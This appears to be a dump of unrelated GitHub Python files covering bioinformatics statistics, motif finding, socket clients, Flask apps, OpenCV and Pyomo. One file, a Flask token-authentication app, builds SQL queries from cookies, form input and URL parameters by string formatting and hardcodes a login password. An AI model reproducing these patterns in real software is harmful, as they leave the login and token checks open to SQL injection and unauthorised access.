{0:\"blue light 1\", 1: \"20-30 seconds after blue light 1\",\n 2:\"blue light 2\", 3: \"20-30 seconds after blue light 2\",\n 4:\"blue light 3\", 5: \"20-30 seconds after blue light 3\",\n 6:\"blue light 4\", 7: \"20-30 seconds after blue light 4\",\n 8:\"blue light 5\", 9: \"20-30 seconds after blue light 5\",\n 10:\"blue light 6\", 11: \"20-30 seconds after blue light 6\",\n 12:\"blue light 7\", 13: \"20-30 seconds after blue light 7\",\n 14:\"blue light 8\", 15: \"20-30 seconds after blue light 8\"}\n\nBLUELIGHT_TIMEPOINTS_MINUTES = [5,10,15,20,25,30,35,40]\nFPS = 25\nVIDEO_LENGTH_SECONDS = 45*60\n\n#%% Functions\n\ndef acute_rescue_stats(metadata,\n features,\n group_by='treatment',\n control='BW',\n save_dir=None,\n feature_set=None,\n pvalue_threshold=0.05,\n fdr_method='fdr_bh'):\n \n # check case-sensitivity\n assert len(metadata[group_by].unique()) == len(metadata[group_by].str.upper().unique())\n \n if feature_set is not None:\n feature_set = [feature_set] if isinstance(feature_set, str) else feature_set\n assert isinstance(feature_set, list)\n assert(all(f in features.columns for f in feature_set))\n else:\n feature_set = features.columns.tolist()\n \n features = features[feature_set].reindex(metadata.index)\n\n # print mean sample size\n sample_size = metadata.groupby(group_by).count()\n print(\"Mean sample size of %s: %d\" % (group_by, int(sample_size[sample_size.columns[-1]].mean())))\n\n n = len(metadata[group_by].unique())\n \n fset = []\n if n > 2:\n \n # Perform ANOVA - is there variation among strains at each window?\n anova_path = Path(save_dir) / 'ANOVA' / 'ANOVA_results.csv'\n anova_path.parent.mkdir(parents=True, exist_ok=True)\n\n stats, pvals, reject = univariate_tests(X=features, \n y=metadata[group_by], \n control=control, \n test='ANOVA',\n comparison_type='multiclass',\n multitest_correction=fdr_method,\n alpha=pvalue_threshold,\n n_permutation_test=None)\n\n # get effect sizes\n effect_sizes = get_effect_sizes(X=features,\n y=metadata[group_by],\n control=control,\n effect_type=None,\n linked_test='ANOVA')\n\n # compile + save results\n test_results = pd.concat([stats, effect_sizes, pvals, reject], axis=1)\n test_results.columns = ['stats','effect_size','pvals','reject'] \n test_results['significance'] = sig_asterix(test_results['pvals'])\n test_results = test_results.sort_values(by=['pvals'], ascending=True) # rank by p-value\n test_results.to_csv(anova_path, header=True, index=True)\n\n # use reject mask to find significant feature set\n fset = pvals.loc[reject['ANOVA']].sort_values(by='ANOVA', ascending=True).index.to_list()\n\n if len(fset) > 0:\n print(\"%d significant features found by ANOVA by '%s' (P<%.2f, %s)\" %\\\n (len(fset), group_by, pvalue_threshold, fdr_method))\n anova_sigfeats_path = anova_path.parent / 'ANOVA_sigfeats.txt'\n write_list_to_file(fset, anova_sigfeats_path)\n \n # Perform t-tests\n stats_t, pvals_t, reject_t = univariate_tests(X=features,\n y=metadata[group_by],\n control=control,\n test='t-test',\n comparison_type='binary_each_group',\n multitest_correction=fdr_method,\n alpha=pvalue_threshold)\n \n effect_sizes_t = get_effect_sizes(X=features,\n y=metadata[group_by],\n control=control,\n linked_test='t-test')\n \n stats_t.columns = ['stats_' + str(c) for c in stats_t.columns]\n pvals_t.columns = ['pvals_' + str(c) for c in pvals_t.columns]\n reject_t.columns = ['reject_' + str(c) for c in reject_t.columns]\n effect_sizes_t.columns = ['effect_size_' + str(c) for c in effect_sizes_t.columns]\n ttest_results = pd.concat([stats_t, pvals_t, reject_t, effect_sizes_t], axis=1)\n \n # save results\n ttest_path = Path(save_dir) / 't-test' / 't-test_results.csv'\n ttest_path.parent.mkdir(exist_ok=True, parents=True)\n ttest_results.to_csv(ttest_path, header=True, index=True)\n \n nsig = sum(reject_t.sum(axis=1) > 0)\n print(\"%d significant features between any %s vs %s (t-test, P<%.2f, %s)\" %\\\n (nsig, group_by, control, pvalue_threshold, fdr_method))\n\n return\n\ndef acute_rescue_boxplots(metadata,\n features,\n control,\n group_by='treatment',\n feature_set=None,\n save_dir=None,\n stats_dir=None,\n pvalue_threshold=0.05,\n fdr_method='fdr_by'):\n \n feature_set = features.columns.tolist() if feature_set is None else feature_set\n assert isinstance(feature_set, list) and all(f in features.columns for f in feature_set)\n \n # load t-test results for window\n if stats_dir is not None:\n ttest_path = Path(stats_dir) / 't-test' / 't-test_results.csv'\n ttest_df = pd.read_csv(ttest_path, header=0, index_col=0)\n pvals = ttest_df[[c for c in ttest_df.columns if 'pval' in c]]\n pvals.columns = [c.replace('pvals_','') for c in pvals.columns]\n \n boxplots_sigfeats(features,\n y_class=metadata[group_by],\n control=control,\n pvals=pvals if stats_dir is not None else None,\n z_class=None,\n feature_set=feature_set,\n saveDir=Path(save_dir),\n drop_insignificant=True if feature_set is None else False,\n p_value_threshold=pvalue_threshold,\n scale_outliers=True)\n \n return\n\ndef main():\n \n aux_dir = Path(PROJECT_DIR) / 'AuxiliaryFiles'\n res_dir = Path(PROJECT_DIR) / 'Results'\n \n metadata_local_path = Path(SAVE_DIR) / 'metadata.csv'\n features_local_path = Path(SAVE_DIR) / 'features.csv'\n \n if not metadata_local_path.exists() or not features_local_path.exists():\n\n # load metadata \n metadata, metadata_path = compile_metadata(aux_dir, \n imaging_dates=None, \n add_well_annotations=False, \n n_wells=N_WELLS)\n \n features, metadata = process_feature_summaries(metadata_path,\n res_dir, \n compile_day_summaries=True, \n imaging_dates=None, \n align_bluelight=False, \n window_summaries=True,\n n_wells=N_WELLS)\n \n # Clean results - Remove bad well data + features with too many NaNs/zero std + impute\n features, metadata = clean_summary_results(features, \n metadata,\n feature_columns=None,\n nan_threshold_row=nan_threshold_row,\n nan_threshold_col=nan_threshold_col,\n max_value_cap=1e15,\n imputeNaN=True,\n min_nskel_per_video=None,\n min_nskel_sum=None,\n drop_size_related_feats=False,\n norm_feats_only=False,\n percentile_to_use=None)\n \n assert not features.isna().sum(axis=1).any()\n assert not (features.std(axis=1) == 0).any()\n \n # save clean metadata and features\n metadata.to_csv(metadata_local_path, index=False)\n features.to_csv(features_local_path, index=False) \n \n else:\n # load clean metadata and features\n metadata = pd.read_csv(metadata_local_path, dtype={'comments':str, 'source_plate_id':str})\n features = pd.read_csv(features_local_path, index_col=None)\n\n # load feature set\n if FEATURE_SET is not None:\n # subset for selected feature set (and remove path curvature features)\n if isinstance(FEATURE_SET, int) and FEATURE_SET in [8,16,256]:\n features = select_feat_set(features, 'tierpsy_{}'.format(FEATURE_SET), append_bluelight=True)\n features = features[[f for f in features.columns if 'path_curvature' not in f]]\n elif isinstance(FEATURE_SET, list) or isinstance(FEATURE_SET, set):\n assert all(f in features.columns for f in FEATURE_SET)\n features = features[FEATURE_SET].copy()\n feature_list = features.columns.tolist()\n\n # subset metadata results for bluelight videos only \n bluelight_videos = [i for i in metadata['imgstore_name'] if 'bluelight' in i]\n metadata = metadata[metadata['imgstore_name'].isin(bluelight_videos)]\n \n # Drop results missing antioxidant name\n metadata = metadata[~metadata['antioxidant'].isna()]\n \n treatment_cols = ['gene_name','antioxidant']\n metadata['treatment'] = metadata[treatment_cols].astype(str).agg('-'.join, axis=1)\n control = 'BW-None'\n\n metadata['window'] = metadata['window'].astype(int)\n window_list = list(metadata['window'].unique())\n\n # drop results for trolox and resveratrol\n metadata = metadata.query(\"antioxidant=='None' or antioxidant=='vitC' or antioxidant=='NAC'\")\n\n for window in tqdm(window_list):\n window_meta = metadata[metadata['window']==window]\n window_feat = features.reindex(window_meta.index)\n \n stats_dir = Path(SAVE_DIR) / 'Stats' / WINDOW_NAME_DICT[window]\n plot_dir = Path(SAVE_DIR) / 'Plots' / WINDOW_NAME_DICT[window]\n \n # statistics save path\n acute_rescue_stats(window_meta, \n window_feat,\n group_by='treatment',\n control=control,\n save_dir=stats_dir,\n feature_set=feature_list,\n pvalue_threshold=0.05,\n fdr_method='fdr_bh')\n order = ['BW-None','BW-vitC','BW-NAC','fepD-None','fepD-vitC','fepD-NAC']\n colour_labels = sns.color_palette('tab10', 2)\n colours = [colour_labels[0] if 'BW' in s else colour_labels[1] for s in order]\n colour_dict = {key:col for (key,col) in zip(order, colours)}\n all_in_one_boxplots(window_meta,\n window_feat,\n group_by='treatment',\n control=control,\n save_dir=plot_dir,\n ttest_path=stats_dir / 't-test' / 't-test_results.csv',\n feature_set=feature_list,\n pvalue_threshold=0.05,\n order=order,\n colour_dict=colour_dict,\n figsize=(20, 10),\n ylim_minmax=None,\n vline_boxpos=[2],\n fontsize=15,\n subplots_adjust={'bottom': 0.2, 'top': 0.95, 'left': 0.05, 'right': 0.98})\n \n \n # timeseries plots of speed for fepD vs BW control for each window\n \n BLUELIGHT_TIMEPOINTS_SECONDS = [(i*60,i*60+10) for i in BLUELIGHT_TIMEPOINTS_MINUTES]\n \n plot_window_timeseries_feature(metadata=metadata,\n project_dir=Path(PROJECT_DIR),\n save_dir=Path(SAVE_DIR) / 'timeseries-speed',\n group_by='treatment',\n control=control,\n groups_list=None,\n feature='speed',\n n_wells=6,\n bluelight_timepoints_seconds=BLUELIGHT_TIMEPOINTS_SECONDS,\n bluelight_windows_separately=True,\n smoothing=10,\n figsize=(15,5),\n fps=FPS,\n ylim_minmax=(-20,280),\n video_length_seconds=VIDEO_LENGTH_SECONDS)\n\n return\n \n#%% Main\n\nif __name__ == '__main__':\n main()\n \n ","repo_name":"saulmoore1/PhD_Project","sub_path":"Python/analysis/keio_screen/follow_up/keio_acute_rescue.py","file_name":"keio_acute_rescue.py","file_ext":"py","file_size_in_byte":15730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"15977629094","text":"import atexit\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom config.config import Config\n\nfrom flask import current_app as app\n\ntime_to_live = 24\n\ndef allowed_file(filename):\n ALLOWED_EXTENSIONS = app.config['ALLOWED_EXTENSIONS']\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS \n\n\ndef cleanup_sessions(session_folder: Path, expiration_time: int):\n now = datetime.now()\n\n for file_path in session_folder.iterdir():\n if file_path.is_file() and file_path.stat().st_mtime < (now - timedelta(minutes=expiration_time)).timestamp():\n try:\n file_path.unlink()\n except Exception as e:\n print(f\"Failed to delete {file_path}. Reason: {e}\")\n\nscheduler = BackgroundScheduler()\nscheduler.start()\nscheduler.add_job(lambda: cleanup_sessions(Path(Config.SESSION_FILE_DIR), time_to_live), 'interval', hours=time_to_live)\n\n# Ensure all scheduled tasks are stopped when the app is exiting\natexit.register(lambda: scheduler.shutdown())","repo_name":"jamespeirano/AiFlicks","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"75019260837","text":"# References:\n# https://www.geeksforgeeks.org/socket-programming-python/\n# https://www.youtube.com/watch?app=desktop&v=3QiPPX-KeSc\n# https://stackoverflow.com/questions/603852/how-do-you-udp-multicast-in-python\n# https://www.youtube.com/watch?v=LnvxObLYO-o\n\nimport socket\nimport time\n\ndef info(packet_t, time_ms, src_ip, src_p, dest_ip, dest_p, pc, l, flags=None):\n #prints network logs to terminal\n print(f\"Type: {packet_t}\")\n print(f\"Time (ms): {time_ms}\")\n print(f\"Source IP: {src_ip}\")\n print(f\"Source Port: {src_p}\")\n print(f\"Destination IP: {dest_ip}\")\n print(f\"Destination Port: {dest_p}\")\n print(f\"Protocol: {pc}\")\n print(f\"Length: {l} bytes\")\n if flags: \n print(f\"Flags: {flags}\")\n print(\"----\")\n\ndef start_bc_client():\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creates a TCP socket \n host = 'master' # Specifying our master node for broadcast\n port = 12345 # Using this port to create our docker container to run mater node\n \n client_socket.connect((host, port)) # Connecting master node to port\n start_time = time.time() * 1000 # Starting time in ms\n message = client_socket.recv(1024) # Receives a message in 1024 byte size\n end_time = time.time() * 1000 # Ending time in ms\n time_ms = end_time - start_time # Time to receive message\n\n # Print out our info\n info('Broadcast', time_ms, client_socket.getsockname()[0], client_socket.getsockname()[1], client_socket.getpeername()[0], client_socket.getpeername()[1], 'TCP', len(message))\n # Decode message show it was received\n print(f\"Received broadcast message: {message.decode()}\")\n # Closes socket to end connnection\n client_socket.close()\n\ndef start_mc_client():\n mcast_group = '224.1.1.1' # Specifying our master node for multicast \n mcast_port = 5007 # Using this port to create our docker container to run mater node\n \n client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # Creates a UDP socket \n client_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Allows client_socket to bind to address and port\n client_socket.bind((mcast_group, mcast_port)) # Makes client_ready to receive muiltcast communication\n\n mreq = socket.inet_aton(mcast_group) + socket.inet_aton('0.0.0.0') \n client_socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) # will allow socket to join muiltcast group\n\n start_time = time.time() * 1000 # Starting time in ms\n message, addr = client_socket.recvfrom(1024) # Receives a message in 1024 byte size\n end_time = time.time() * 1000 # Ending time in ms\n time_ms = end_time - start_time # Time to receive message \n\n # Print out our info\n info('Multicast', time_ms, client_socket.getsockname()[0], client_socket.getsockname()[1], addr[0], addr[1], 'UDP', len(message))\n # Decode message show it was received\n print(f\"Received multicast message: {message.decode()}\")\n\nif __name__ == \"__main__\":\n start_bc_client() # Starting broadcast in main\n start_mc_client() # Starting muiltcast in main\n","repo_name":"oscararenas12/miniDisSys","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"7106447563","text":"import numpy as np\nimport random\nimport copy\nimport os\nimport time\n\nSEQ_LEN = 500\nLOOP_NUM = 100000\nALPHA = ['A', 'T', 'C', 'G']\n\n\n# EM approach: MEME algorithm\ndef meme(sequences, motif_len):\n # loop to find a relatively good start point\n max_score = 0\n best_p = []\n walk_list = range(0, SEQ_LEN - motif_len)\n for l in walk_list:\n init_p = np.zeros(shape=(4, motif_len + 1)) + 0.17\n init_p[0][0] = 0.25\n init_p[1][0] = 0.25\n init_p[2][0] = 0.25\n init_p[3][0] = 0.25\n\n for j in range(motif_len):\n character = ALPHA.index(sequences[0][j + l])\n init_p[character][j + 1] = 0.5\n z_t = update_z(sequences, init_p, motif_len)\n p_matrix = m_step(sequences, z_t, motif_len)\n\n # calculate score\n cur_score = 0\n for i in range(motif_len):\n for j in range(4):\n cur_score += p_matrix[j][i + 1] * np.log2(p_matrix[j][i + 1] / p_matrix[j][0])\n\n if cur_score > max_score:\n max_score = cur_score\n best_p = p_matrix\n\n # assign the best start point\n p_matrix = best_p\n prev_ind = [0] * (motif_len + 1)\n\n # loop until converge\n while True:\n z_t = e_step(sequences, motif_len, p_matrix)\n p_next = m_step(sequences, z_t, motif_len)\n\n # if change in p < e or sites do not change\n diff = np.sum(abs(np.array(p_matrix[:][1:]) - np.array(p_next[:][1:])))\n ind = np.argmax(p_next, axis=0)\n diff_ind = np.sum(abs(np.array(ind[:][1:]) - np.array(prev_ind[:][1:])))\n if diff < 0.1 or diff_ind == 0:\n break\n else:\n p_matrix = p_next\n prev_ind = ind\n z_t = e_step(sequences, motif_len, p_matrix)\n return z_t, p_next\n\n\ndef e_step(sequences, motif_len, p_matrix):\n z_t = np.zeros((len(sequences), SEQ_LEN-motif_len+1))\n for i in range(len(sequences)):\n for j in range(SEQ_LEN-motif_len+1):\n pr = get_prob(sequences[i], p_matrix, j, motif_len)\n z_t[i][j] = pr\n row_sums = np.sum(z_t, axis=1)\n z_t = np.divide(z_t, row_sums[:, np.newaxis])\n return z_t\n\n\ndef m_step(sequences, z_t, motif_len):\n p_t = np.zeros(shape=(4, motif_len+1))\n\n # calculate n(c, k), k>0\n n_ck = np.zeros(shape=(4, motif_len+1))\n for i in range(len(sequences)):\n for j in range(SEQ_LEN - motif_len + 1):\n n_ck[ALPHA.index(sequences[i][j])][0] += 1\n for k in range(motif_len):\n n_ck[ALPHA.index(sequences[i][j + k])][k + 1] += z_t[i][j]\n\n # n(c, k) when k = 0\n for i in range(4):\n n_ck[i][0] -= np.sum(n_ck[i][1:])\n\n # calculate p(c, k)\n for i in range(motif_len + 1):\n sum_n = np.sum([num[i] + 1 for num in n_ck])\n for j in range(4):\n p_t[j][i] = (n_ck[j][i] + 1) / sum_n\n return p_t\n\n\ndef get_prob(sequence, p_matrix, start, motif_len):\n result = 1\n for i in range(SEQ_LEN):\n if i < start or i >= start + motif_len:\n result *= p_matrix[ALPHA.index(sequence[i])][0]\n else:\n result *= p_matrix[ALPHA.index(sequence[i])][i - start + 1]\n return result\n\n\ndef update_z(sequences, p_matrix, motif_len):\n z_t = np.zeros((len(sequences), SEQ_LEN - motif_len + 1))\n for i in range(len(sequences)):\n for j in range(SEQ_LEN - motif_len + 1):\n result = 1\n for k in range(motif_len):\n result *= p_matrix[ALPHA.index(sequences[i][k+j])][k]\n z_t[i][j] = result\n row_sums = np.sum(z_t, axis=1)\n z_t = np.divide(z_t, row_sums[:, np.newaxis])\n return z_t\n\n\n# Gibbs Sampler without F\ndef generate_prob(pro_matrix,k_mer):\n dic = {'A':0,'T':1,'C':2,'G':3}\n p = 1\n for i in range(len(k_mer)):\n p = p * pro_matrix[dic[k_mer[i]]][i]\n return p\n\n\ndef background_prob(fa_Seq,sites,motif_len):\n dic = {'A':0,'T':1,'C':2,'G':3}\n background_c = np.zeros(4)\n for i in range(len(fa_Seq)):\n for j in range(len(fa_Seq[i])):\n if j not in list(range(sites[i],sites[i]+motif_len)):\n background_c[dic[fa_Seq[i][j]]] +=1\n background_p = background_c/sum(background_c)\n return background_p\n\n\ndef gibbs_without_F_until_converge(fa_Seq, motif_len):\n fa_Num = len(fa_Seq)\n sites = [random.randint(0, (len(fa_Seq[0]) - motif_len)) for i in range(fa_Num)]\n k_mers = []\n for i in range(fa_Num):\n k_mers.append(list(fa_Seq[i][sites[i]:sites[i] + motif_len]))\n f = [float('inf') for i in range(motif_len)]\n A = []\n B = []\n # start iteration\n hide_index = 0\n equal_count = 0\n step_count = 0\n while equal_count < 3 and step_count')\n@ns.response(404, 'Access not found')\nclass AccessItem(Resource):\n decorators = [auth.login_required]\n\n @ns.marshal_with(access_minimal)\n def get(self, id):\n \"\"\"\n Get mqtt access\n \"\"\"\n access = MqttAccess.query.get_or_404(id)\n\n return access\n\n @ns.response(204, 'Access successfully patched.')\n @ns.expect(access_patch)\n def patch(self, id):\n \"\"\"\n Patch mqtt access\n \"\"\"\n access = MqttAccess.query.get_or_404(id)\n\n data = request.json\n\n patched = False\n if data.get('topic', None) is not None:\n access.topic = data['topic']\n patched = True\n\n if data.get('access', None) is not None:\n access.access = data['access']\n patched = True\n\n if patched:\n db.session.add(access)\n db.session.commit()\n\n return 'Access successfully patched.', 204\n\n @ns.response(204, 'Access successfully deleted.')\n def delete(self, id):\n \"\"\"\n Delete mqtt access\n \"\"\"\n\n access = MqttAccess.query.get_or_404(id)\n\n db.session.delete(access)\n db.session.commit()\n\n\n return 'Access successfully deleted.', 204\n","repo_name":"averdier/mosquitto_auth_mysql_api","sub_path":"app/api/endpoints/accesses.py","file_name":"accesses.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7173861558","text":"import Utils, sqlite3\nfrom flask import Flask, make_response, request\n\nif __name__ == \"__main__\":\n app = Flask(__name__)\n\n DB = sqlite3.connect(\"Database.db\")\n DB.execute(\"\"\"CREATE TABLE IF NOT EXISTS Tokens (\n Id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE NOT NULL,\n Token TEXT UNIQUE NOT NULL\n )\"\"\")\n DB.execute(\"\"\"CREATE TABLE IF NOT EXISTS Auth (\n Id INTEGER PRIMARY KEY AUTOINCREMENT UNIQUE NOT NULL,\n Token TEXT UNIQUE NOT NULL,\n Label TEXT NOT NULL\n )\"\"\")\n DB.commit()\n DB.close()\n\n with open(\"Template.html\", \"r\") as f:\n Template = f.read()\n\n with open(\"AuthToken.html\", \"r\") as f:\n AuthTokenTemplate = f.read()\n\n Password = \"Pass123\"\n\n @app.route(\"/login\", methods=[\"POST\", \"GET\"])\n def login():\n Response = make_response()\n\n Token = request.cookies.get(\"Token\")\n if Token != None:\n DB = sqlite3.connect(\"Database.db\")\n TokenId = DB.execute(f\"SELECT * FROM Tokens WHERE Token='{Token}'\").fetchone()\n if TokenId != None:\n return \"\"\n if request.method == \"POST\":\n if request.form.get(\"password\") == Password:\n Token = Utils.GenToken()\n DB = sqlite3.connect(\"Database.db\")\n DB.execute(f\"\"\"INSERT INTO Tokens(Token) VALUES('{Token}')\"\"\")\n DB.commit()\n DB.close()\n Response.set_cookie(\"Token\", Token)\n Response.set_data(\"\")\n return Response\n\n with open(\"Login.html\", \"r\") as f:\n Response.set_data(Utils.Format(Template, Content=f.read(), Title=\"Login\"))\n return Response\n\n @app.route(\"/\", methods=['POST', 'GET'])\n def index():\n Response = make_response()\n DB = sqlite3.connect(\"Database.db\")\n\n Token = request.cookies.get(\"Token\")\n if Token != None:\n TokenId = DB.execute(f\"SELECT * FROM Tokens WHERE Token='{Token}'\").fetchone()\n if TokenId == None:\n Response.set_data(\"\")\n Response.set_cookie(\"Token\", \"\")\n return Response\n else:\n return \"\"\n\n with open(\"Dashboard.html\", \"r\") as f:\n Data = Utils.Format(Template, Title=\"Dashboard\", Content=f.read())\n\n Alert = \"\"\n\n if request.method == \"POST\":\n Label = request.form.get(\"Label\")\n if DB.execute(f\"SELECT * FROM Auth WHERE Label='{Label}'\").fetchone() == None:\n Token = Utils.GenToken()\n DB.execute(f\"INSERT INTO Auth(Token, Label) VALUES('{Token}', '{Label}')\")\n DB.commit()\n Alert = f\"Token: {Token}\"\n else:\n Alert = f\"Token all ready exists with label '{Label}'\"\n else:\n Delete = request.args.get(\"delete\")\n if Delete != None:\n DB.execute(f\"DELETE FROM Auth WHERE Id={Delete}\")\n DB.commit()\n return \"\"\n\n AuthTokens = \"\"\n for Token in DB.execute(\"SELECT * FROM Auth\").fetchall():\n AuthTokens += Utils.Format(AuthTokenTemplate, Id=Token[0], Label=Token[2], Token=Token[1])\n\n Response.set_data(Utils.Format(Data, Alert=Alert, AuthTokens=AuthTokens))\n return Response\n\n @app.errorhandler(404)\n def error404(e):\n return \"\"\n\n @app.route(\"/auth/\")\n def authToken(token):\n DB = sqlite3.connect(\"Database.db\")\n TokenData = DB.execute(f\"SELECT * FROM Auth WHERE Token='{token}'\").fetchone()\n if TokenData != None:\n return \"True\"\n else:\n return \"False\"\n\n app.run(\"localhost\", 5000)\n","repo_name":"1Brenny1/AuthAPI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"41851385929","text":"# -*- coding: utf-8 -*-\r\nimport sys\r\nsys.path.append(\"/Study/python/Deep-learning from scratch\")\r\nfrom c1_AND_gate2 import ANDgate\r\nfrom c1_OR_gate2 import ORgate\r\nfrom c1_NAND_gate2 import NANDgate\r\n\r\nclass XORgate:\r\n def __init__(self, x1, x2):\r\n self.x1 = x1\r\n self.x2 = x2\r\n\r\n def XOR(x1, x2):\r\n s1 = NANDgate.NAND(x1, x2)\r\n s2 = ORgate.OR(x1, x2)\r\n y = ANDgate.AND(s1, s2)\r\n return y\r\n\r\nif __name__ == '__main__':\r\n for xs in [(0, 0), (1, 0), (0, 1), (1, 1)]:\r\n y = XORgate.XOR(xs[0], xs[1])\r\n print(str(xs) + \" -> \" + str(y))","repo_name":"masa-k0101/Self-Study_python","sub_path":"Dfz/Cp1/c1_XOR_gate2.py","file_name":"c1_XOR_gate2.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72857133477","text":"import cv2\nimg = cv2.imread('../books.jpg', cv2.IMREAD_GRAYSCALE)\n\nret, binary = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)\n\n\ncv2.imshow('img', img)\ncv2.imshow('binary', binary)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"YJH2848/OpenCV","sub_path":"Study/JustStudy/11.Binaryization/A11.Bianry.py","file_name":"A11.Bianry.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34164950336","text":"# import subprocess as sp\n# class Ping:\n# def ping(self,ipAddress):\n# status,result = sp.getstatusoutput(\"ping -c1 -w2 \" + ipAddress)\n# status1,result1 = sp.getstatusoutput(\"ping \" + ipAddress)\n# if status1 == 0: \n# print(\"System \" + ipAddress + \" is UP !\")\n# else:\n# print(\"System \" + ipAddress + \" is DOWN !\")\n# ping = Ping()\n# ping.ping(\"127.0.0.1\")\n\nimport time\nstart_time = time.time()\nprint(start_time)\ntime.sleep(60*60)\nprint(time.time(),time.time() - start_time)","repo_name":"duysy/DSMonitoring","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34584299993","text":"from __future__ import print_function\nfrom pyomo.environ import (\n ConcreteModel,\n Param,\n Var,\n Objective,\n Constraint,\n NonNegativeReals,\n value,\n)\nfrom pyomo.contrib.sensitivity_toolbox.sens import sensitivity_calculation\n\n\ndef create_model():\n '''Create a concrete Pyomo model for this example'''\n m = ConcreteModel()\n\n m.x1 = Var(initialize=0.15, within=NonNegativeReals)\n m.x2 = Var(initialize=0.15, within=NonNegativeReals)\n m.x3 = Var(initialize=0.0, within=NonNegativeReals)\n\n m.eta1 = Param(initialize=4.5, mutable=True)\n m.eta2 = Param(initialize=1.0, mutable=True)\n\n m.const1 = Constraint(expr=6 * m.x1 + 3 * m.x2 + 2 * m.x3 - m.eta1 == 0)\n m.const2 = Constraint(expr=m.eta2 * m.x1 + m.x2 - m.x3 - 1 == 0)\n m.cost = Objective(expr=m.x1**2 + m.x2**2 + m.x3**2)\n\n return m\n\n\ndef run_example(print_flag=True):\n '''\n Execute the example\n\n Arguments:\n print_flag: Toggle on/off printing\n\n Returns:\n sln_dict: Dictionary containing solution (used for automated testing)\n\n '''\n m = create_model()\n\n m.perturbed_eta1 = Param(initialize=4.0)\n m.perturbed_eta2 = Param(initialize=1.0)\n\n m_sipopt = sensitivity_calculation(\n 'sipopt', m, [m.eta1, m.eta2], [m.perturbed_eta1, m.perturbed_eta2], tee=True\n )\n\n if print_flag:\n print(\"\\nOriginal parameter values:\")\n print(\"\\teta1 =\", m.eta1())\n print(\"\\teta2 =\", m.eta2())\n\n print(\"Initial point:\")\n print(\"\\tObjective =\", value(m.cost))\n print(\"\\tx1 =\", m.x1())\n print(\"\\tx2 =\", m.x2())\n print(\"\\tx3 =\", m.x3())\n\n print(\"Solution with the original parameter values:\")\n print(\"\\tObjective =\", m_sipopt.cost())\n print(\"\\tx1 =\", m_sipopt.x1())\n print(\"\\tx2 =\", m_sipopt.x2())\n print(\"\\tx3 =\", m_sipopt.x3())\n\n print(\"\\nNew parameter values:\")\n print(\"\\teta1 =\", m_sipopt.perturbed_eta1())\n print(\"\\teta2 =\", m_sipopt.perturbed_eta2())\n\n # This highlights one limitation of sipopt. It will only return the\n # perturbed solution. The user needs to calculate relevant values such as\n # the objective or expressions\n x1 = m_sipopt.sens_sol_state_1[m_sipopt.x1]\n x2 = m_sipopt.sens_sol_state_1[m_sipopt.x2]\n x3 = m_sipopt.sens_sol_state_1[m_sipopt.x3]\n obj = x1**2 + x2**2 + x3**2\n\n if print_flag:\n print(\"(Approximate) solution with the new parameter values:\")\n print(\"\\tObjective =\", obj)\n print(\"\\tx1 =\", m_sipopt.sens_sol_state_1[m_sipopt.x1])\n print(\"\\tx2 =\", m_sipopt.sens_sol_state_1[m_sipopt.x2])\n print(\"\\tx3 =\", m_sipopt.sens_sol_state_1[m_sipopt.x3])\n\n # Save the results in a dictionary.\n # This is optional and makes automated testing convenient.\n # This code is not important for a Minimum Working Example (MWE) of sipopt\n d = dict()\n d['eta1'] = m.eta1()\n d['eta2'] = m.eta2()\n d['x1_init'] = m.x1()\n d['x2_init'] = m.x2()\n d['x3_init'] = m.x3()\n d['x1_sln'] = m_sipopt.x1()\n d['x2_sln'] = m_sipopt.x2()\n d['x3_sln'] = m_sipopt.x3()\n d['cost_sln'] = m_sipopt.cost()\n d['eta1_pert'] = m_sipopt.perturbed_eta1()\n d['eta2_pert'] = m_sipopt.perturbed_eta2()\n d['x1_pert'] = x1\n d['x2_pert'] = x2\n d['x3_pert'] = x3\n d['cost_pert'] = obj\n\n return d\n\n\nif __name__ == '__main__':\n d = run_example()\n","repo_name":"Pyomo/pyomo","sub_path":"pyomo/contrib/sensitivity_toolbox/examples/parameter.py","file_name":"parameter.py","file_ext":"py","file_size_in_byte":3390,"program_lang":"python","lang":"en","doc_type":"code","stars":1697,"dataset":"github-code","pt":"0"}
